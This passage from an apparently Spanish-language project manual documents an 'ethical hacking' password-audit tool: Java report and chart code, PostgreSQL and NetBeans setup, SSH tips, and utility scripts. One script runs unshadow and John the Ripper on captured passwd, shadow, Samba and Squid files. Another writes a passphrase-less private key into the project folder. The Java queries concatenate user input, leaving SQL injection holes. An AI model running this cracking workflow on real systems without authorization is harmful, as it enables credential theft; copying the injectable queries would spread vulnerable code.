base","se realizo con exito","gracias por usar nuestro programa.."); connection2.commit(); statement2.close(); } }catch(Exception e){ msg a=new msg("aviso","/root/hacking_etico/imagenes/escudo_u.jpg","no se pudo ejecutar el almacenamiento en la base de datos","consulte con la ayuda del sistema","gracias"); }// fin try 1 }
124
• Reporte por fecha
• Reporte por nivel de seguridad (bajo, medio, alto)
• Reporte general (todos los datos de la tabla)
A continuación se detalla la función de reporte private void
botonipActionPerformed(java.awt.event.ActionEvent evt), la cual ejecuta
el reporte según la dirección IP ingresada al sistema, las demás consultas
tienen similar codificación varia solo el parámetro de consulta y la función
select.
Gráfico No. 73 Reporte
Realiza el reporte según el IP ingresado
public class reporte extends javax.swing.JFrame { public reporte() { initComponents(); } private void botonipActionPerformed(java.awt.event.ActionEvent evt) { consulta_final =""; k=0; j=0; for (int i = 0; i < 998; i++) { for(int j=0;j<=8;j++){ tabla_resultados_passwd1.setValueAt("",i,j); } } try{ consulta_final = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); String SQL = "select * from reporte where direccion = '"+consulta_final+"'"; ResultSet resultset = statement.executeQuery(SQL); for(resultset=statement.executeQuery(SQL);resultset.next();) { tabla_resultados_passwd1.setValueAt(resultset.getString("direccion"),k,j); tabla_resultados_passwd1.setValueAt(resultset.getString("usuario"),k,j+1); tabla_resultados_passwd1.setValueAt(resultset.getString("password"),k,j+2); tabla_resultados_passwd1.setValueAt(resultset.getString("tipo_usuario"),k,j+3); tabla_resultados_passwd1.setValueAt(resultset.getString("análisis"),k,j+4); tabla_resultados_passwd1.setValueAt(resultset.getString("seguridad"),k,j+5); tabla_resultados_passwd1.setValueAt(resultset.getString("estado"),k,j+6); tabla_resultados_passwd1.setValueAt(resultset.getString("fecha"),k,j+7); tabla_resultados_passwd1.setValueAt(resultset.getString("hora"),k,j+8); k++; } connection.commit();
statement.close(); Msg a=new Msg("mensaje", “consulta exitosa, gracias por usar nuestro programa.."); }catch(Exception e){ …..
125
Clase estadistica.java
Si el usuario lo desea, se puede visualizar los reportes como gráficos, el
usuario ingresará un parámetro de consulta, el cual puede ser por IP o nivel
de seguridad, entonces se ejecuta la función que ejecuta el gráfico de los
datos, para mostrarlos por pantalla, para darle la interpretación de una
manera más cómoda y más agradable de los resultados obtenidos.
Se coloca en el cuadro solo un modo de graficación, a manera de ejemplo,
los tipos de gráficos soportados por el sistema son de tipo barra y pastel.
La función trabaja recibiendo el parámetro de consulta que el usuario haya
ingresado por pantalla, realiza la consulta a la base de datos, si hubo éxito se
despliegan los gráficos del modo que el usuario haya escogido. La función se
encarga automáticamente de ordenar los datos y desplegarlos en cuadros
gráficos estadísticos.
Gráfico No. 74 Clase Estadística
Permite realizar una consulta según la IP ingresada
public class estadistica extends javax.swing.JFrame { public estadistica() { System.gc(); initComponents(); } private void b_vig_ip1ActionPerformed(java.awt.event.ActionEvent evt) { consulta_1 = JOptionPane.showInputDialog("Ingrese la IP a ser consultada-->"); pop= new crea_3d_vig_ip(consulta_1); pop.pack(); RefineryUtilities.centerFrameOnScreen(pop); pop.setVisible(true); }
126
En el cuadro que tenemos a continuación, se muestra una clase que genera
gráficos tipo pie chart, realiza la consulta a la base de datos, en este caso
según la IP que se ingrese, se mostrará el nivel de seguridad, luego la clase
ordena los resultados obtenidos, y despliega el gráfico respectivo.
Gráfico No. 75 Crea3d
Código que genera grafico tipo pie char
public class crea_3d extends ApplicationFrame implements WindowListener{ public crea_3d(String ip_consulta) { super("ESTADISTICAS DE SEGURIDAD POR IP"); IP = ip_consulta; PieDataset dataset = createSampleDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart); chartPanel.setPreferredSize(new java.awt.Dimension(500, 270)); setContentPane(chartPanel); } private PieDataset createSampleDataset() { try{ System.out.flush(); long time = System.nanoTime(); long time_estimado = System.nanoTime() - time; System.out.println( "Tiempo estamado--> " + String.valueOf(time)); Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()){ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()) { medio = resultset_2.getFloat("count"); } if(resultset_3.next()){ alto = resultset_3.getFloat("count"); } suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (Exception e){ System.out.println("HA HABIDO UN ERROR ......"+e); } DefaultPieDataset result = new DefaultPieDataset(); result.setValue(String.valueOf(y_bajo)+" % BAJOS",y_bajo); result.setValue(String.valueOf(y_medio)+" % MEDIOS", y_medio); result.setValue(String.valueOf(y_alto)+" % ALTOS", y_alto); return result; } private JFreeChart createChart(PieDataset dataset) { JFreeChart chart = ChartFactory.createPieChart3D( "ESTADISTICA DE SEGURIDAD POR IP", // chart title dataset, true, true, false ); PiePlot3D plot = (PiePlot3D) chart.getPlot(); plot.setStartAngle(290); plot.setDirection(Rotation.CLOCKWISE); plot.setForegroundAlpha(0.5f); plot.setNoDataMessage("NO HAY DATOS QUE MOSTRAR.."); return chart; }
127
A continuación la clase que tiene similares funciones que la anterior
mostrada, pero grafica en forma de barras, en este caso, el nivel de
seguridad (bajo, medio, alto) por ip.
Grafico No. 76 bar_3d
Código que genera gráficos dependiendo el nivel de seguridad
public class bar_3d_ip extends ApplicationFrame { public bar_3d_ip(String ip_final) { super("ESTADISTICAS DE SEGURIDAD DE PASSWRODS POR IP"); IP = ip_final; CategoryDataset dataset = createDataset(); JFreeChart chart = createChart(dataset); ChartPanel chartPanel = new ChartPanel(chart, false); chartPanel.setPreferredSize(new Dimension(500, 270)); setContentPane(chartPanel); } private static CategoryDataset createDataset() { try{ Connection connection = ACCESS.ObtenerConexion(); Statement statement = connection.createStatement(); Statement statement2 = connection.createStatement(); Statement statement3 = connection.createStatement(); String SQL_1 = "select count(análisis) from reporte where análisis = 'bajo' and direccion ='"+ip+"'"; String SQL_2 = "select count(análisis) from reporte where análisis = 'medio' and direccion ='"+ip+"'"; String SQL_3 = "select count(análisis) from reporte where análisis = 'alto' and direccion ='"+ip+"'"; ResultSet resultset_1 = statement.executeQuery(SQL_1); ResultSet resultset_2 = statement2.executeQuery(SQL_2); ResultSet resultset_3 = statement3.executeQuery(SQL_3); if(resultset_1.next()){ bajo = resultset_1.getFloat("count"); } if(resultset_2.next()){ medio = resultset_2.getFloat("count"); } if(resultset_3.next()){ alto = resultset_3.getFloat("count"); } float suma = alto + medio + bajo; y_bajo= ((float)bajo * 100F / (float)suma); y_medio= ((float)medio * 100F / (float)suma); y_alto= ((float)alto * 100F / (float)suma); connection.close(); statement.close(); statement2.close(); statement3.close(); }catch (SQLException e){ System.out.println("no se pudo ......"+e); } DefaultCategoryDataset result = new DefaultCategoryDataset(); result.setValue(y_bajo, String.valueOf(y_bajo)+" % BAJOS","bajos"); result.setValue(y_medio, String.valueOf(y_medio)+" % MEDIOS","medios"); result.setValue(y_alto, String.valueOf(y_alto)+" % ALTOS","altos"); return result; } private static JFreeChart createChart(CategoryDataset dataset) { JFreeChart chart = ChartFactory.createBarChart("Grafico de estadisticas de seguridad por IP", "IP", "Porcentajes", dataset, PlotOrientation.VERTICAL, true, true, false ); chart.setBackgroundPaint(Color.white); CategoryPlot plot = chart.getCategoryPlot(); plot.setBackgroundPaint(Color.lightGray); plot.setDomainGridlinePaint(Color.white); plot.setDomainGridlinesVisible(true); plot.setRangeGridlinePaint(Color.white); final NumberAxis rangeAxis = (NumberAxis) plot.getRangeAxis(); rangeAxis.setStandardTickUnits(NumberAxis.createIntegerTickUnits()); BarRenderer renderer = (BarRenderer) plot.getRenderer(); renderer.setDrawBarOutline(false); GradientPaint gp0 = new GradientPaint(0.0f, 0.0f, Color.blue, 0.0f, 0.0f, new Color(0, 0, 64)); GradientPaint gp1 = new GradientPaint(0.0f, 0.0f, Color.green, 0.0f, 0.0f, new Color(0, 64, 0)); GradientPaint gp2 = new GradientPaint(0.0f, 0.0f, Color.red, 0.0f, 0.0f, new Color(64, 0, 0)); renderer.setSeriesPaint(0, gp0); renderer.setSeriesPaint(1, gp1); renderer.setSeriesPaint(2, gp2); CategoryAxis domainAxis = plot.getDomainAxis(); domainAxis.setCategoryLabelPositions(CategoryLabelPositions.createUpRotationLabelPositions( Math.PI / 6.0)); return chart; }
128
Si se desea agregar más gráficos al proyecto o mejorar los existentes,
remítase al apartado de manejo de gráficos que esta detallado en este
manual.
A continuación se presentan configuraciones adicionales necesarias para
que el proyecto funcione de una manera correcta y sin problemas.
Este tipo de configuraciones que se muestran a continuación, fueron
realizadas por nosotros sin ningún tipo de inconveniente, si se desean más
detalles aparte de los proporcionados por nosotros, se puede buscar en
Internet cualquier manual sobre el tema en particular, con los pasos que se
detallan aquí deberá bastar para poder trabajar con el proyecto.
Configuraciones Adicionales
Como configurar la base de datos postgre del proyecto
A continuación se muestran los pasos de configuración de la base de datos
del proyecto, cualquier referencia más detallada del tema se lo puede hacer
en los manuales de NetBeans proporcionados en el proyecto.
Si se desea modificar algún parámetro de la base de datos se puede seguir
este procedmiento, sino no es necesario, la base se ejecuta apenas se
levante el programa, pero vale la pena leer lo siguiente:
129
Pasos para la instalación y configuración de PostgreSQL para Linux
• Verificar si está instalado los siguientes paquetes
# rpm – qa | grep postgres
postgreSQL-server
php-pgSQL
http://rpmfind.net/linux/rpm2html/search.php?query=php-pgSQL
php-pgSQL es el rpm
php-pgSQL-5.1.2-5.i386.rpm
• Después de instalar todos los paquetes solicitados reiniciar el servicio en
un terminal
# service postgreSQL restart
• Añadir un grupo llamado postgres en un terminal
# groupadd postgres
• Creamos un usuario postgres en un terminal
# useradd -g postgres postgres
password
passwd postgres
• Nos autenticamos como usuario postgres en un terminal y creamos la
base de datos
# su – postgres
$ createdb MiBase
130
$ service postgreSQL restart
• Hacemos una prueba en un terminal para verificar si existe conexión con
la Base
$ pSQL -U postgres MiBase
Gráfico No. 77 Verificar Conexión
Se realiza pruebas para verificar la conexión con la Base postgres
• Si tienes todo hasta allí ya término la parte de texto ahora viene
Netbeans.
• Tenemos que verificar si tenemos el Driver instalado en nuestra PC: ls
/usr/share/java/postgreSQL.jar
Si no es así tenemos que conseguir el postgreSQL.jar
Este driver se anexa en los utilitarios del proyecto, se llama:
postgreSQL-8.1-408.jdbc2ee.jar
131
Agregar a NetBeans un conector de la base de datos
Conector a la Base de Datos
Para que una aplicación en Java se comunique con una base de datos
usando la API ODBC, se requiere de un conector que comunique a la
aplicación con la base de datos.
Ese conector es específico para el manejador de base de datos y viene en la
forma de n archivo “.jar” o “.zip”. Por ejemplo el conector para la base de
datos Postgres, está en el archivo: postgres-connector-java-3.1.XX.jar
Este conector debe incluirse en el archivo JAR de despliegue de la
aplicación. NetBeans nos permite realizar dos tareas relacionadas con las
bases de datos:
1. Conectar a una aplicación a una base de datos.
2. Conectar a NetBeans directamente a una base de datos para crear,
eliminar, modificar tablas, agregar, eliminar, modificar renglones y realizar
consultas.
132
Conexión de una Aplicación a una Base de Datos
Para conectar a una aplicación a una base de datos, se requiere:
1. Agregarle a NetBeans el conector como una biblioteca. Esto permite que
el conector esté disponible para los proyectos.
2. Agregarle a un proyecto el conector. Esto permite que la aplicación se
pueda conectar a la base de datos.
Agregar a NetBeans un Conector a una Base de Datos
El procedimiento para agregarle a NetBeans un conector a una base de
datos, en este caso Postgres, es el siguiente:
1. Seleccione la opción Tools/Library Manager de la barra de menú de
NetBeans
Gráfico No. 78 Tools/Library Manager
133
2. Aparece un cuadro de diálogo que nos permite administrar las bibliotecas
de NetBeans.
Grafico No. 79 Library Manager
3. Del lado izquierdo del cuadro de diálogo, aparece un recuadro con las
bibliotecas agregadas a NetBeans. Del lado derecho aparece el nombre
de la biblioteca y la trayectoria del archivo con la biblioteca. Para agregar
el conector a Postgres a NetBeans presione el botón New Library…. Al
hacerlo aparece el cuadro siguiente:
Gráfico No. 80 New Library
134
4. En este cuadro estableceremos el nombre que le daremos al conector,
Postgres en este caso, y presionamos el botón OK. NetBeans cierra el
cuadro de diálogo, regresándonos al cuadro de diálogo del administrador
de bibliotecas, donde presionaremos el botón Add JAR/Fólder….
Gráfico No. 81 Library Manager
5. Aparece un cuadro de diálogo, en la figura mostrada abajo, que nos
permite seleccionar el archivo que contiene al conector a Postgres:
postgres-connector-java-3.1.7-bin.jar, en este caso. Lo seleccionamos
y presionamos el botón Add JAR/Fólder.
Gráfico No. 82 Browse JAR/Folder
135
6. Regresamos al administrador de bibliotecas en donde aparece el conector
agregado. Para confirmar presionamos el botón OK.
Gráfico No. 83 Library Manager
Agregar a un Proyecto un Conector a una Base de Datos
El procedimiento para agregarle a un proyecto un conector a una base de
datos, en este caso Postgres, es el siguiente:
1. Expanda el nodo Libraries (bibliotecas) del proyecto al que se le va a
agregar el conector para ver las bibliotecas que tiene agregadas:
Gráfico No. 84 Nodo Libraries
136
2. Haga clic con el botón derecho sobre el nodo Libraries del proyecto y
seleccione la opción Add Library … del menú emergente.
Gráfico No. 85 Add Library
3. Aparece un cuadro de diálogo para seleccionar la biblioteca a agregar el
conector a Postgres. Lo seleccionamos y presionamos el botón.
Gráfico No. 86 Add Library
137
4. El cuadro de diálogo desaparece y veremos que el conector se ha
agregado al nodo Libraries en el árbol del proyecto.
Gráfico No. 87 Conector Agregado
Conexión de NetBeans a una Base de Datos
Para conectar a una aplicación a una base de datos, se requiere:
1. Instalar en NetBeans el conector a la base de datos.
2. Establecer la conexión entre NetBeans y la base de datos.
138
Instalación en Netbeans del Conector a la Base de Datos
El procedimiento para instalar en NetBeans el conector a la base de datos,
en este caso Postgres, es el siguiente:
1. En la ventana Runtime expanda los nodos Databases y Drivers para ver
los conectores disponibles y las conexiones a las bases de datos.
Gráfico No. 88 Ventana Runtime
2. Para agregar el conector de Postgres, haga clic con el botón derecho en
el nodo Drivers y seleccione la opción Add Driver del menú emergente.
Gráfico No. 89 Agregar Conector
139
3. Aparecerá el cuadro de diálogo para agregar un conector. Presione el
botón Add.
Gráfico No. 90 Cuadro de dialogo Agregar Conector
4. En el cuadro de diálogo para seleccionar el conector, navegue hasta la
ubicación del conector, selecciónelo y presione el botón Abrir.
Gráfico No. 91 Seleccionar conector
140
5. En el cuadro de diálogo para agregar el conector aparecerá la información
del conector seleccionado. Para confirmar presione el botón OK.
Gráfico No. 92 Información del conector
6. Un nuevo nodo para el conector a Postgres, aparecerá en la ventana
Runtime.
Gráfico No. 93 Conector Postgres en Ventana Runtime
141
Conexión de NetBeans a la Base de Datos
El procedimiento para conectar a NetBeans a la base de datos es el
siguiente:
1. Haz clic con el botón derecho sobre el nodo del conector a PostgreSQL
Gráfico No. 94 Conexión a la Base de datos
2. Selecciona la opción Connect Using…, del menú emergente. Aparecerá
un cuadro de diálogo para establecer una conexión nueva. Establezca el
URL de la base de datos, Database URL:, en el formato:
jdbc:postgres://servidor:puerto/baseDatos
Donde servidor es la dirección IP (o nombre de dominio del servidor), en
caso que el servidor esté en la misma computadora que NetBeans utiliza
el nombre: localhost; puerto es el puerto empleado por el servidor. Si el
servidor utiliza el puerto predefinido, se puede omitir; baseDatos es la
base de datos a la que se desea conectar. Establezca el nombre del
142
usuario, User Name:, y contraseña, Password:, para acceder a la base de
datos y presione el botón OK.
Gráfico No. 95 Conexión a Nueva Base de Datos
3. Aparecerá el recuadro que se muestra en la figura de abajo, confirmando
que se estableció la conexión. Confirme, presionando el botón OK.
Gráfico No. 96 Confirmando conexión
143
4. En la ventana Runtime, aparecerá un nuevo nodo con la conexión a la
base de Datos.
Gráfico No. 97 conexiones a la Base de datos
Acceso a la base de datos desde NetBeans
NetBeans nos permite realizar operaciones sobre la base de datos como
crear y borrar tablas, agregar y eliminar columnas, agregar, modificar y
eliminar renglones, realizar consultas, etc. Para hacer estas operaciones
expanda el nodo con la conexión a la base de datos para que aparezcan
nodos con las tablas, vistas y procedimientos.
Si expandimos el nodo Tables, veremos un nodo por cada una de las tablas
en la base de datos. Si expandimos un nodo de una tabla, aparecerán las
columnas de esa tabla,
144
Gráfico No. 98 Conectores y Tabla
Se puede apreciar el conector a la Base de datos y las tablas que posee la
Base, con sus respectivos campos y propiedades
Si hacemos clic con el botón derecho en uno de esos nodos: tablas o
columnas, aparecerá un menú emergente con las operaciones que podemos
realizar. Por ejemplo al hacer clic con el botón derecho en un nodo de una
tabla aparecerá un menú emergente como el que se muestra a continuación:
145
Gráfico No. 99 Operaciones con Tablas
Menú que muestra las diferentes operaciones que se pueden realizar
con las tablas
Para crear una tabla seleccionaremos la opción Create Table …. Aparecerá
un cuadro de diálogo para capturar la información requerida para crear la
tabla. Al terminar presione el botón OK.
Gráfico No. 100 Creación de Tablas
Se puede apreciar la creación de tablas
146
Para ejecutar un comando (inserción, borrado, actualización, etc.), seleccione
la opción Execute Command…, NetBeans abrirá en el editor una ventana en
la que teclearemos el comando SQL, (ver la figura)
Gráfico No. 101 Comando SQL
Se puede ingresar código SQL para manipular la tabla
Para ejecutar el comando se hace clic en el icono Run SQL.
Gráfico No. 102 Ejecutar Código SQL
Podemos ver los datos de una tabla seleccionando la opción View Data, con
lo que NetBeans abre una ventana con el comando para consultar la tabla y
en la parte inferior muestra el resultado de la consulta, como se muestra a
continuación:
147
Gráfico No. 103 View Data
Se puede visualizar los datos de la tabla
Este procedimiento esta explicado con una instalación y conexión de una
base de datos Postgres, en general, este es el procedimiento que funciona
en la mayoría de las bases de datos, y con seguridad con la base de datos
del proyecto (postgre).
Una vez creada la base, podemos seguir con lo que viene a continuación,
dejando que sea NetBeans el encargado de manipular la base, sin embargo,
existe un manager que se incluye en el proyecto, llamado:
pgadmin3-1.6.2-1.i686.rpm
El cual me permite implementar tablas, crear campos y demás. Este paquete
para su instalación puede traer problemas de dependencias, por lo cual si se
opta por esta opción se recomienda hacer una instalación vía yum del
paquete.
148
No existe ningún problema si no se lo hace por medio de esta herramienta,
NetBeans se encarga de hacer de “manager” para crear tablas y campos,
además de claves primarias y foráneas a nuestra base de datos, y soporta
lenguaje SQL casi todas las sentencias, pero al momento de crear campos
tipo “auto numérico” tomemos en cuenta lo siguiente: Si queremos de pronto,
crear un campo tipo autosequence, hacerlo en NetBeans no es sencillo, y es
que una de las limitantes de la base de datos postgre es que tiene tipos de
datos muy comunes (int, char, varchar, int2, int4, etc), esto en NetBeans no
se puede manejar, es decir, NetBeans no te permite setear como tipo de dato
SERIAL o auto numérico a un campo en particular. Esto por lo general se da
en los campos que son únicos (claves primarias)
Este tipo de inconveniente se puede corregir siguiendo este ejemplo:
CREATE TABLE nombre_tabla (
nombre_tabla_id SERIAL,
otro_campo CHAR(1) DEFAULT 'S',
otro_campo2 VARCHAR(48) NOT NULL,
PRIMARY KEY ( nombre_tabla_id )
);
Gráfico No. 104 Creación de tabla
Creación de tabla con tipos auto numérico
149
Lo que quiere decir esto, es que, podemos ejecutar sentencias SQL en una
consola de NetBeans como se detalla más abajo, y ejecutar la creación de la
tabla como esta allá arriba detallado, pero una solución más sencilla sería:
Crear la tabla, pero sin sus campos auto numéricos, estos dejarlos al final.
Una vez ya creada la tabla, se creará de manera manual, por medio de una
consola de NetBeans, el campo auto numérico como sigue:
ALTER TABLE nombre_tabla ADD COLUMN nombre_tabla_id SERIAL;
ALTER TABLE <nombre_tabla> ADD CONSTRAINT pk_nombre_tabla_id
PRIMARY KEY (nombre_tabla_id);
Gráfico No. 105 Modificar la tabla
Se modifica el tipo de dato a serial
Es decir, se ha añadido un campo para la clave primaria, y este se lo coloca
tipo SERIAL, luego se añade el constraint respectivo. Como ejemplo, si
queremos añadir un campo id_ip a una tabla llamada registro_ips, será:
ALTER TABLE registro_ips ADD COLUMN id_ip SERIAL;
ALTER TABLE registro_ips add constraint pk_id_ip primary key (id_ip);
Gráfico No. 106 Clave Primaria
150
Con los manuales de SQL entregados con el proyecto, se puede realizar
cualquier operación sobre la tabla, por medio del manager Pgadmin o por
NetBeans, ya que los dos soportan sentencias de consulta y modificación de
SQL
Manejo de gráficos con JfreeChart
Este fue el procedimiento que se realizo para añadir las librerías de los
gráficos del proyecto, y se anexa un manual Standard de procedimiento. Hay
innumerables estilos de gráficos que se pueden implementar, este manual
explica como proceder con algunos de ellos. Si se desea agregar alguno, se
recomienda revisar el código nativo que se encuentra en este proyecto, con
el fin de acoplarlo al mismo.
Gráficas en Java con JFreeChart
Una aplicación sin gráficas es medio difícil de entender, y sobre todo es poco
agradable para el usuario, y normalmente nuestros clientes lo agradecen.
Hay muchas librerías de pago y gratuitas para realizar esta labor. Vamos a
mostraros como crear una gráfica simple con una de las librerías más
extendidas. Hemos elegido en este caso JFreeChart y vamos a mostrar
distintas posibilidades de uso.
151
Gráfico No. 107 Gráficos con JFreeChart
Descomprimimos los datos en el directorio deseado
Gráfico No. 108 Descompresión de Jfrechart
152
Podemos ejecutar una demostración y ver las posibilidades
java -jar jfreechart-0.9.10-demo.jar
Gráfico No. 109 Gráfico d barras horizontales
Nosotros vamos a tratar de realizar un ejemplo simple y la única dificultad
que he encontrado es la poca documentación disponible. Aparte de
descargarnos JFreeChart, hay que descargarse otra librería llamada
jcommon. En NetBeans incluimos los dos jars ....
Gráfico No. 110 Librería jcommun
153
E introducimos el código.
import org.jfree.data.*; import org.jfree.chart.*; import org.jfree.chart.plot.*; import java.awt.image.*; public class ventanaGrafica extends java.awt.Frame { BufferedImage grafica = null; public ventanaGrafica() { initComponents(); } private void initComponents() { addWindowListener(new java.awt.event.WindowAdapter() { public void windowClosing(java.awt.event.WindowEvent evt) { exitForm(evt); } }); pack(); } private void exitForm(java.awt.event.WindowEvent evt) { System.exit(0); } public static void main(String args[]) { ventanaGrafica miventana = new ventanaGrafica(); miventana.setSize(400,400); miventana.show(); } public BufferedImage creaImagen() { XYSeries series = new XYSeries("Evolucion"); series.add(1, 23); series.add(2, 34); series.add(3, 51); series.add(4, 67); series.add(5, 89); series.add(6, 121); series.add(7, 137); XYDataset juegoDatos= new XYSeriesCollection(series); JFreeChart chart = ChartFactory.createLineXYChart ("Sesiones en Adictos al Trabajo", "Meses","Sesiones",juegoDatos,PlotOrientation.VERTICAL, false, false, true // Show legend ); BufferedImage image = chart.createBufferedImage(300,300); return image; } public void paint(java.awt.Graphics g) { if(grafica == null) { grafica = this.creaImagen(); } g.drawImage(grafica,30,30,null); } }
Gráfico No. 111 Código Ventana Grafica
154
El resultado de nuestro ejemplo es:
Gráfico No.112 Estadistica de seguridad por Ip
Tips y trucos para aprovechar mejor el proyecto
A continuación un apartado en el cual se detallarán pequeños trucos con los
cuales podemos aprovechar la funcionalidad del proyecto, el primero de
estos es sobre la autenticación remota ssh y nuestra autenticación sin
password.
SSH
SSH significa Secure SHell, y es la vía por la cual te conectas remotamente a
un tarro con Linux para acceder a un terminal de comandos (shell), uno igual
al que usas en tu PC pero remotamente. La información viaja encriptada por
lo que además de ser útil es seguro, y claro, mucho más rápido que FTP.
Para conectarse remotamente por SSH, la sintaxis es:
155
$ ssh [email protected]
O bien:
$ ssh [email protected]
$ ssh servidor.com
Gráfico No. 113 Codigo Ssh
Una vez que estés conectado, puedes ejecutar comandos al igual que si
abrieras un terminal en el mismo computador. Prueba con algo simple como
‘uname -a‘ o lo que quieras. Después, para cerrar la conexión basta con un
simple ‘exit‘ y listo.
También puedes ejecutar un comando único vía SSH, sin necesariamente
logearte al sistema:
$ ssh servidor.com aplicación
O sea:
$ ssh bootlog.cl uname -a
Grafico No. 114 Comando SSH
Y por último, puedes ejecutar una aplicación X en el sistema remoto pero
utilizando el display local. Sólo tienes que agregar -X después de SSH:
$ ssh -X servidor.com aplicación
156
SCP
SCP significa Secure Copy es algo adicional del SSH, que permite transferir
archivos o carpetas entre computadores. La sintaxis es bien simple:
$ scp archivo [email protected]:ruta
Y para copiar a la inversa, desde el computador remoto al tuyo, simplemente
tienes que invertir el orden de los elementos:
$ scp [email protected]:ruta/archivo ruta_local
$ scp hola.txt [email protected]:/www/sitio
Gráfico No. 115 Comands SCP
Mandaría el archivo hola.txt y lo dejaría en la carpeta /www/sitio en el
servidor bootlog.cl. También puedes mandar carpetas completas (con -r):
$ scp -r viajealsur/ [email protected]:/www/sitio/fotos
Ahora, el mismo proceso a la inversa sería:
$ scp -r [email protected]:/www/sitio/fotos/viajealsur ~
Esto copiaría la carpeta viajealsur/ del servidor a mi carpeta /home.
Como en SCP (y en SSH) la ruta por defecto es tu carpeta de usuario, si
quieres copiar algo hacia o desde ahí, puedes omitir la ruta:
157
$ scp cancion.mp3 bootlog.cl:
En este caso la sintaxis está bien, ya que mi usuario se llama ‘tomas’ en
ambos lados, así que no tengo que escribirlo de nuevo, y como estoy
copiando el archivo cancion.mp3 a mi carpeta de usuario, también puedo
omitir la ruta.
Con este truco puedes decirle al PC remoto que tal usuario está autorizado
para conectarse sin contraseña desde tal computador, algo que hacemos a
través de las llaves RSA.
Procedimiento
$ ssh-keygen -t rsa
Este comando genera dos archivos, id_rsa.pub e id_rsd. Necesitamos
copiar el contenido del primero al otro computador, específicamente al
archivo authorized_keys dentro de ~/.ssh/ Primero copiémoslo por SCP.
$ scp id_rsa.pub usuario@servidor:
Ahora conéctate por SSH y ve si existe el archivo authorized_keys dentro
de ~/.ssh/. Si ese no es el caso, escribe:
$ mv id_rsa.pub .ssh/authorized_keys
158
Si el archivo existía (que significa que para ese usuario en ése PC, hay otras
maquinas de confianza). Vamos a copiar los contenidos de id_rsa.pub a
authorized_keys:
$ cat id_rsa.pub >> .ssh/authorized_keys
Comprobar ejecutando un comando remotamente a través de SSH (en este
caso, uname -a). Obviamente no nos debería pedir la clave.
$ ssh servidor.com uname -a
“Es peligroso dejar sitios “de confianza” especialmente en PC críticas
de una empresa, ya que alguien descubre la IP que tiene acceso, la
modifica en una maquina cliente, y ya tiene acceso al sistema.”
Manipulación de los scripts del proyecto.
Un script básicamente es como en Windows un archivo tipo autoexec.bat, es
decir, un archivo con un conjunto de instrucciones, las cuales se ejecutarán
al abrir el archivo en mención.
El proyecto para su operación, consta con algunos scripts, los cuales
detallamos a continuación, ellos residen en la carpeta /utilitarios del proyecto:
159
#!/bin/sh ##función que me permite la extracción de los passwords de los archivos capturados echo " Procediendo con la ejecución del descifrado de los archivos de passwd capturados" cd /root/hacking_etico/utilitarios/john-1.7.2/run cp /root/hacking_etico/utilitarios/john-1.7.2/run/john.pot /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/john.pot.$1 rm -f analizar rm -f john.pot rm -f john.rec umask 077 echo "Preparando el archivo de passwd..." ./unshadow /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow > analizar echo "Se realizo la copia para el analisis de los passwd del sistema" echo " Ejecucion del descifrado..ctrl+c para detener.." ./john analizar ./john mysmbpasswd ./john mysquidpasswd echo " Analisis terminado.." echo " Estos son los paswd descifrados del archivo hackeado" ./john --show analizar ./john --show mysmbpasswd ./john --show mysquidpasswd echo " sacando copias de respaldo " cp /root/hacking_etico/utilitarios/john-1.7.2/run/mypasswd /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mypasswd$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/myshadow$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mysmbpasswd$1 cp /root/hacking_etico/utilitarios/john-1.7.2/run/myshadow /root/hacking_etico/utilitarios/john-1.7.2/run/respaldos-archivos-passwords/mysquidpasswd$1 rm -f myshadow rm -f mypasswd echo " finalizado..el log se lo puede consultar de /root/hacking_etico/utilitarios/john-1.7.2/run/john.pot"
Gráfico No. 116 Script de Extracción
#!/bin/sh ##scrpit para generar un archivo de licencias de autorización echo "generación de los archivos de claves publicas de autenticación ssh" echo " Borrado de los archivos antiguos " rm -f /root/.ssh/id_rsa* echo " Elaboración de los archivos de las llaves de autorización locales " ssh-keygen -t rsa -f /root/.ssh/id_rsa -N "" -q cp /root/.ssh/id_rsa /root/hacking_etico/utilitarios/id_rsa cp /root/.ssh/id_rsa.pub /root/hacking_etico/utilitarios/id_rsa.pub echo " Realizado..Generados los archivos id_rsa.pub e id_rsd" echo " Se crearon unas copias de seguridad en la carpeta utilitarios del proyecto"
Gráfico No. 117 Script de autorización
160
#!/bin/sh ## funcion para el chequeo del estado de la red echo " Procediendo al analisis de la conexion de red" echo " Analizando estado de servicio" service network status echo " Chequeo de conexion remota con IP " ping -w 1 -l 8 $1 echo " Chequeo rapido de puertos abiertos" nmap $1 echo " Chequeo realizado..verifique los resultados para ver si la IP o el puerto sigue activo"
Gráfico No. 118 Script Chequeo estado de red
